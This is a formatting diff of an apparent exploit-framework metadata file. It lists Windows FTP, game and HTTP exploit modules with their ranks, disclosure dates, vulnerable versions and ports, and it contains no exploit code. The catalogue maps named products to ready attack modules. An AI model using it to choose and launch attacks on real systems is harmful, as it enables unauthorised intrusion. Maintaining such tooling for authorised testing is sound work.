"exploit/windows/ftp/wftpd_size", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-08-23", "type": "exploit", @@ -163502,17 +145153,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/winaxe_server_ready": { "name": "WinaXe 7.7 FTP Client Remote Buffer Overflow", "fullname": "exploit/windows/ftp/winaxe_server_ready", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2016-11-03", "type": "exploit", @@ -163528,12 +145176,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -163544,17 +145188,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/wing_ftp_admin_exec": { "name": "Wing FTP Server Authenticated Command Execution", "fullname": "exploit/windows/ftp/wing_ftp_admin_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-06-19", "type": "exploit", @@ -163595,17 +145236,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/wsftp_server_503_mkd": { "name": "WS-FTP Server 5.03 MKD Overflow", "fullname": "exploit/windows/ftp/wsftp_server_503_mkd", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-11-29", "type": "exploit", @@ -163639,17 +145277,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/wsftp_server_505_xmd5": { "name": "Ipswitch WS_FTP Server 5.05 XMD5 Overflow", "fullname": "exploit/windows/ftp/wsftp_server_505_xmd5", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2006-09-14", "type": "exploit", @@ -163684,17 +145319,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/xftp_client_pwd": { "name": "Xftp FTP Client 3.0 PWD Remote Buffer Overflow", "fullname": "exploit/windows/ftp/xftp_client_pwd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-04-22", "type": "exploit", @@ -163710,12 +145342,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], @@ -163726,17 +145354,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/xlink_client": { "name": "Xlink FTP Client Buffer Overflow", "fullname": "exploit/windows/ftp/xlink_client", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-10-03", "type": "exploit", @@ -163752,12 +145377,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP Pro SP3 English", "Windows 2000 SP4 English" @@ -163769,17 +145390,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/ftp/xlink_server": { "name": "Xlink FTP Server Buffer Overflow", "fullname": "exploit/windows/ftp/xlink_server", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-10-03", "type": "exploit", @@ -163812,17 +145430,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/games/mohaa_getinfo": { "name": "Medal of Honor Allied Assault getinfo Stack Buffer Overflow", "fullname": "exploit/windows/games/mohaa_getinfo", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2004-07-17", "type": "exploit", @@ -163839,12 +145454,8 @@ "platform": "Windows", "arch": "", "rport": 12203, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Medal Of Honor Allied Assault v 1.0 Universal" ], @@ -163855,17 +145466,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/games/racer_503beta5": { "name": "Racer v0.5.3 Beta 5 Buffer Overflow", "fullname": "exploit/windows/games/racer_503beta5", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-08-10", "type": "exploit", @@ -163882,12 +145490,8 @@ "platform": "Windows", "arch": "", "rport": 26000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Fmodex.dll - Universal", "Win XP SP2 English", @@ -163900,17 +145504,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/games/ut2004_secure": { "name": "Unreal Tournament 2004 \"secure\" Overflow (Win32)", "fullname": "exploit/windows/games/ut2004_secure", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2004-06-18", "type": "exploit", @@ -163926,12 +145527,8 @@ "platform": "Windows", "arch": "", "rport": 7787, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "UT2004 Build 3186" ], @@ -163942,17 +145539,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/adobe_robohelper_authbypass": { "name": "Adobe RoboHelp Server 8 Arbitrary File Upload and Execute", "fullname": "exploit/windows/http/adobe_robohelper_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-23", "type": "exploit", @@ -163994,17 +145588,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/advantech_iview_networkservlet_cmd_inject": { "name": "Advantech iView NetworkServlet Command Injection", "fullname": "exploit/windows/http/advantech_iview_networkservlet_cmd_inject", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-06-28", "type": "exploit", @@ -164065,9 +145656,7 @@ "exploit_windows/http/advantech_iview_unauth_rce": { "name": "Advantech iView Unauthenticated Remote Code Execution", "fullname": "exploit/windows/http/advantech_iview_unauth_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-02-09", "type": "exploit", @@ -164130,9 +145719,7 @@ "exploit_windows/http/ajaxpro_deserialization_rce": { "name": "AjaxPro Deserialization Remote Code Execution", "fullname": "exploit/windows/http/ajaxpro_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-12-03", "type": "exploit", @@ -164193,9 +145780,7 @@ "exploit_windows/http/altn_securitygateway": { "name": "Alt-N SecurityGateway username Buffer Overflow", "fullname": "exploit/windows/http/altn_securitygateway", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2008-06-02", "type": "exploit", @@ -164237,17 +145822,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/altn_webadmin": { "name": "Alt-N WebAdmin USER Buffer Overflow", "fullname": "exploit/windows/http/altn_webadmin", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2003-06-24", "type": "exploit", @@ -164293,17 +145875,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/amlibweb_webquerydll_app": { "name": "Amlibweb NetOpacs webquery.dll Stack Buffer Overflow", "fullname": "exploit/windows/http/amlibweb_webquerydll_app", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-08-03", "type": "exploit", @@ -164319,12 +145898,8 @@ "platform": "Windows", "arch": "x86", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows 2000 Pro All - English" ], @@ -164335,17 +145910,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/apache_activemq_traversal_upload": { "name": "Apache ActiveMQ 5.x-5.11.1 Directory Traversal Shell Upload", "fullname": "exploit/windows/http/apache_activemq_traversal_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-08-19", "type": "exploit", @@ -164405,9 +145977,7 @@ "exploit_windows/http/apache_chunked": { "name": "Apache Win32 Chunked Encoding", "fullname": "exploit/windows/http/apache_chunked", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2002-06-19", "type": "exploit", @@ -164461,17 +146031,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/apache_mod_rewrite_ldap": { "name": "Apache Module mod_rewrite LDAP Protocol Buffer Overflow", "fullname": "exploit/windows/http/apache_mod_rewrite_ldap", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-07-28", "type": "exploit", @@ -164516,17 +146083,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/apache_modjk_overflow": { "name": "Apache mod_jk 1.2.20 Buffer Overflow", "fullname": "exploit/windows/http/apache_modjk_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-03-02", "type": "exploit", @@ -164543,12 +146107,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "mod_jk 1.2.20 (Apache 1.3.x/2.0.x/2.2.x) (any win32 OS/language)" ], @@ -164559,17 +146119,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/apache_tika_jp2_jscript": { "name": "Apache Tika Header Command Injection", "fullname": "exploit/windows/http/apache_tika_jp2_jscript", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2018-04-25", "type": "exploit", @@ -164613,17 +146170,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/avaya_ccr_imageupload_exec": { "name": "Avaya IP Office Customer Call Reporter ImageUpload.ashx Remote Command Execution", "fullname": "exploit/windows/http/avaya_ccr_imageupload_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-28", "type": "exploit", @@ -164667,17 +146221,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/badblue_ext_overflow": { "name": "BadBlue 2.5 EXT.dll Buffer Overflow", "fullname": "exploit/windows/http/badblue_ext_overflow", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2003-04-20", "type": "exploit", @@ -164718,17 +146269,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/badblue_passthru": { "name": "BadBlue 2.72b PassThru Buffer Overflow", "fullname": "exploit/windows/http/badblue_passthru", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-12-10", "type": "exploit", @@ -164770,17 +146318,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/bea_weblogic_jsessionid": { "name": "BEA WebLogic JSESSIONID Cookie Value Overflow", "fullname": "exploit/windows/http/bea_weblogic_jsessionid", - "aliases": [ - - ], + "aliases": [], "rank": 400, "disclosure_date": "2009-01-13", "type": "exploit", @@ -164795,12 +146340,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Apache 2.2 - WebLogic module version 1.0.1136334", "Windows Apache 2.2 - WebLogic module version 1.0.1150354" @@ -164812,17 +146353,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/bea_weblogic_post_bof": { "name": "Oracle Weblogic Apache Connector POST Request Buffer Overflow", "fullname": "exploit/windows/http/bea_weblogic_post_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-07-17", "type": "exploit", @@ -164867,17 +146405,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/bea_weblogic_transfer_encoding": { "name": "BEA Weblogic Transfer-Encoding Buffer Overflow", "fullname": "exploit/windows/http/bea_weblogic_transfer_encoding", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-09-09", "type": "exploit", @@ -164917,17 +146452,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/belkin_bulldog": { "name": "Belkin Bulldog Plus Web Service Buffer Overflow", "fullname": "exploit/windows/http/belkin_bulldog", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2009-03-08", "type": "exploit", @@ -164968,17 +146500,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ca_arcserve_rpc_authbypass": { "name": "CA Arcserve D2D GWT RPC Credential Information Disclosure", "fullname": "exploit/windows/http/ca_arcserve_rpc_authbypass", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-25", "type": "exploit", @@ -165020,17 +146549,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ca_igateway_debug": { "name": "CA iTechnology iGateway Debug Mode Buffer Overflow", "fullname": "exploit/windows/http/ca_igateway_debug", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2005-10-06", "type": "exploit", @@ -165048,12 +146574,8 @@ "platform": "Windows", "arch": "", "rport": 5250, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "iGateway 3.0.40621.0" ], @@ -165064,17 +146586,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ca_totaldefense_regeneratereports": { "name": "CA Total Defense Suite reGenerateReports Stored Procedure SQL Injection", "fullname": "exploit/windows/http/ca_totaldefense_regeneratereports", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-04-13", "type": "exploit", @@ -165115,17 +146634,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/cayin_xpost_sql_rce": { "name": "Cayin xPost wayfinder_seqid SQLi to RCE", "fullname": "exploit/windows/http/cayin_xpost_sql_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-04", "type": "exploit", @@ -165185,9 +146701,7 @@ "exploit_windows/http/cogent_datahub_command": { "name": "Cogent DataHub Command Injection", "fullname": "exploit/windows/http/cogent_datahub_command", - "aliases": [ - - ], + "aliases": [], "rank": 0, "disclosure_date": "2014-04-29", "type": "exploit", @@ -165229,17 +146743,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/cogent_datahub_request_headers_bof": { "name": "Cogent DataHub HTTP Server Buffer Overflow", "fullname": "exploit/windows/http/cogent_datahub_request_headers_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2013-07-26", "type": "exploit", @@ -165283,17 +146794,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/coldfusion_fckeditor": { "name": "ColdFusion 8.0.1 Arbitrary File Upload and Execute", "fullname": "exploit/windows/http/coldfusion_fckeditor", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-07-03", "type": "exploit", @@ -165333,17 +146841,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/cyclope_ess_sqli": { "name": "Cyclope Employee Surveillance Solution v6 SQL Injection", "fullname": "exploit/windows/http/cyclope_ess_sqli", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-08-08", "type": "exploit", @@ -165384,17 +146889,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/desktopcentral_deserialization": { "name": "ManageEngine Desktop Central Java Deserialization", "fullname": "exploit/windows/http/desktopcentral_deserialization", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2020-03-05", "type": "exploit", @@ -165458,9 +146960,7 @@ "exploit_windows/http/desktopcentral_file_upload": { "name": "ManageEngine Desktop Central AgentLogUpload Arbitrary File Upload", "fullname": "exploit/windows/http/desktopcentral_file_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-11-11", "type": "exploit", @@ -165502,17 +147002,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/desktopcentral_statusupdate_upload": { "name": "ManageEngine Desktop Central StatusUpdate Arbitrary File Upload", "fullname": "exploit/windows/http/desktopcentral_statusupdate_upload", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2014-08-31", "type": "exploit", @@ -165553,17 +147050,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": true }, "exploit_windows/http/disk_pulse_enterprise_bof": { "name": "Disk Pulse Enterprise Login Buffer Overflow", "fullname": "exploit/windows/http/disk_pulse_enterprise_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-10-03", "type": "exploit", @@ -165603,17 +147097,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/disk_pulse_enterprise_get": { "name": "Disk Pulse Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disk_pulse_enterprise_get", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-08-25", "type": "exploit", @@ -165653,17 +147144,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/diskboss_get_bof": { "name": "DiskBoss Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/diskboss_get_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-05", "type": "exploit", @@ -165709,17 +147197,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/disksavvy_get_bof": { "name": "DiskSavvy Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disksavvy_get_bof", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2016-12-01", "type": "exploit", @@ -165762,17 +147247,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/disksorter_bof": { "name": "Disk Sorter Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/disksorter_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -165811,17 +147293,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/dlink_central_wifimanager_rce": { "name": "D-Link Central WiFi Manager CWM(100) RCE", "fullname": "exploit/windows/http/dlink_central_wifimanager_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2019-07-09", "type": "exploit", @@ -165879,9 +147358,7 @@ "exploit_windows/http/dnn_cookie_deserialization_rce": { "name": "DotNetNuke Cookie Deserialization Remote Code Excecution", "fullname": "exploit/windows/http/dnn_cookie_deserialization_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2017-07-20", "type": "exploit", @@ -165939,9 +147416,7 @@ "Reliability": [ "repeatable-session" ], - "SideEffects": [ - - ] + "SideEffects": [] }, "session_types": false, "needs_cleanup": null @@ -165949,9 +147424,7 @@ "exploit_windows/http/dup_scout_enterprise_login_bof": { "name": "Dup Scout Enterprise Login Buffer Overflow", "fullname": "exploit/windows/http/dup_scout_enterprise_login_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-11-14", "type": "exploit", @@ -166015,9 +147488,7 @@ "exploit_windows/http/dupscts_bof": { "name": "Dup Scout Enterprise GET Buffer Overflow", "fullname": "exploit/windows/http/dupscts_bof", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2017-03-15", "type": "exploit", @@ -166085,9 +147556,7 @@ "exploit_windows/http/easychatserver_seh": { "name": "Easy Chat Server User Registeration Buffer Overflow (SEH)", "fullname": "exploit/windows/http/easychatserver_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-10-09", "type": "exploit", @@ -166127,17 +147596,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/easyfilesharing_post": { "name": "Easy File Sharing HTTP Server 7.2 POST Buffer Overflow", "fullname": "exploit/windows/http/easyfilesharing_post", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2017-06-12", "type": "exploit", @@ -166152,12 +147618,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Easy File Sharing 7.2 HTTP" ], @@ -166168,17 +147630,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/easyfilesharing_seh": { "name": "Easy File Sharing HTTP Server 7.2 SEH Overflow", "fullname": "exploit/windows/http/easyfilesharing_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2015-12-02", "type": "exploit", @@ -166192,12 +147651,8 @@ "platform": "Windows", "arch": "", "rport": 80, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Easy File Sharing 7.2 HTTP" ], @@ -166208,17 +147663,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/easyftp_list": { "name": "EasyFTP Server list.html path Stack Buffer Overflow", "fullname": "exploit/windows/http/easyftp_list", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-02-18", "type": "exploit", @@ -166259,17 +147711,14 @@ "check": true, "post_auth": true, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/edirectory_host": { "name": "Novell eDirectory NDS Server Host Header Overflow", "fullname": "exploit/windows/http/edirectory_host", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2006-10-21", "type": "exploit", @@ -166285,12 +147734,8 @@ "platform": "Windows", "arch": "", "rport": 8028, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Novell eDirectory 8.8.1" ], @@ -166301,17 +147746,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/edirectory_imonitor": { "name": "eDirectory 8.7.3 iMonitor Remote Stack Buffer Overflow", "fullname": "exploit/windows/http/edirectory_imonitor", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2005-08-11", "type": "exploit", @@ -166353,17 +147795,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/efs_easychatserver_username": { "name": "EFS Easy Chat Server Authentication Request Handling Buffer Overflow", "fullname": "exploit/windows/http/efs_easychatserver_username", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2007-08-14", "type": "exploit", @@ -166408,17 +147847,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/efs_fmws_userid_bof": { "name": "Easy File Management Web Server Stack Buffer Overflow", "fullname": "exploit/windows/http/efs_fmws_userid_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-20", "type": "exploit", @@ -166466,17 +147902,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ektron_xslt_exec": { "name": "Ektron 8.02 XSLT Transform Remote Code Execution", "fullname": "exploit/windows/http/ektron_xslt_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-10-16", "type": "exploit", @@ -166520,17 +147953,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ektron_xslt_exec_ws": { "name": "Ektron 8.5, 8.7, 9.0 XSLT Transform Remote Code Execution", "fullname": "exploit/windows/http/ektron_xslt_exec_ws", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2015-02-05", "type": "exploit", @@ -166571,17 +148001,14 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/ericom_access_now_bof": { "name": "Ericom AccessNow Server Buffer Overflow", "fullname": "exploit/windows/http/ericom_access_now_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-06-02", "type": "exploit", @@ -166624,8 +148051,7 @@ "check": true, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, @@ -166709,9 +148135,7 @@ "exploit_windows/http/exchange_ecp_dlp_policy": { "name": "Microsoft Exchange Server DlpUtils AddTenantDlpPolicy RCE", "fullname": "exploit/windows/http/exchange_ecp_dlp_policy", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-01-12", "type": "exploit", @@ -166783,9 +148207,7 @@ "exploit_windows/http/exchange_ecp_viewstate": { "name": "Exchange Control Panel ViewState Deserialization", "fullname": "exploit/windows/http/exchange_ecp_viewstate", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-02-11", "type": "exploit", @@ -166845,9 +148267,7 @@ "exploit_windows/http/exchange_proxylogon_rce": { "name": "Microsoft Exchange ProxyLogon RCE", "fullname": "exploit/windows/http/exchange_proxylogon_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-03-02", "type": "exploit", @@ -166923,9 +148343,7 @@ "exploit_windows/http/exchange_proxynotshell_rce": { "name": "Microsoft Exchange ProxyNotShell RCE", "fullname": "exploit/windows/http/exchange_proxynotshell_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-28", "type": "exploit", @@ -166996,9 +148414,7 @@ "exploit_windows/http/exchange_proxyshell_rce": { "name": "Microsoft Exchange ProxyShell RCE", "fullname": "exploit/windows/http/exchange_proxyshell_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2021-04-06", "type": "exploit", @@ -167074,9 +148490,7 @@ "exploit_windows/http/ezserver_http": { "name": "EZHomeTech EzServer Stack Buffer Overflow Vulnerability", "fullname": "exploit/windows/http/ezserver_http", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2012-06-18", "type": "exploit", @@ -167093,12 +148507,8 @@ "platform": "Windows", "arch": "", "rport": 8000, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "EzHomeTech EzServer <= 6.4.017 (Windows XP Universal)" ], @@ -167109,17 +148519,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/fdm_auth_header": { "name": "Free Download Manager Remote Control Server Buffer Overflow", "fullname": "exploit/windows/http/fdm_auth_header", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2009-02-02", "type": "exploit", @@ -167159,17 +148566,14 @@ "check": false, "post_auth": false, "default_credential": false, - "notes": { - }, + "notes": {}, "session_types": false, "needs_cleanup": null }, "exploit_windows/http/file_sharing_wizard_seh": { "name": "File Sharing Wizard - POST SEH Overflow", "fullname": "exploit/windows/http/file_sharing_wizard_seh", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2019-09-24", 